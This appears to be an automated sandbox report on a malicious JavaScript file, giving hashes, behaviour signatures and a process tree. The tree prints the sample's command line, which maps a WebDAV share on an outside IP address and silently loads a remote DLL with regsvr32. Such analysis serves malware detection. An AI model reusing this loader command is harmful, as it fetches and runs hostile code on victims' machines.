Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-07-2024 03:09

General

  • Target

    6239263802431224393.js

  • Size

    5KB

  • MD5

    5e78bfaecc63c703099d3509f943a8fe

  • SHA1

    1f4c9b71ac32241ba886b3eb269ffee5a0234cdb

  • SHA256

    ab6f2b670898644184fc23b50601f8860ce17d65a15ab128e9f6f7c0f2990255

  • SHA512

    73b5b09ff3ffbc3a266cf2097fe4f7cc1cf393d5b07ce608d96f27020c68e0afe78887bae742871c3aa3fd853542f086a3f3b201cc8cd72ee24b4d9051849c01

  • SSDEEP

    96:/eCsvYuPI1saD8X2b8nLW+K7u5rQjr7K2lyS3lkdfgJpgr6NueajN19eamylcmTl:/eCsvvI1saD8X2b8LW+K7uFm7K2lX3l4

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\6239263802431224393.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3712
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\4134686617797.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:428
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3280

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads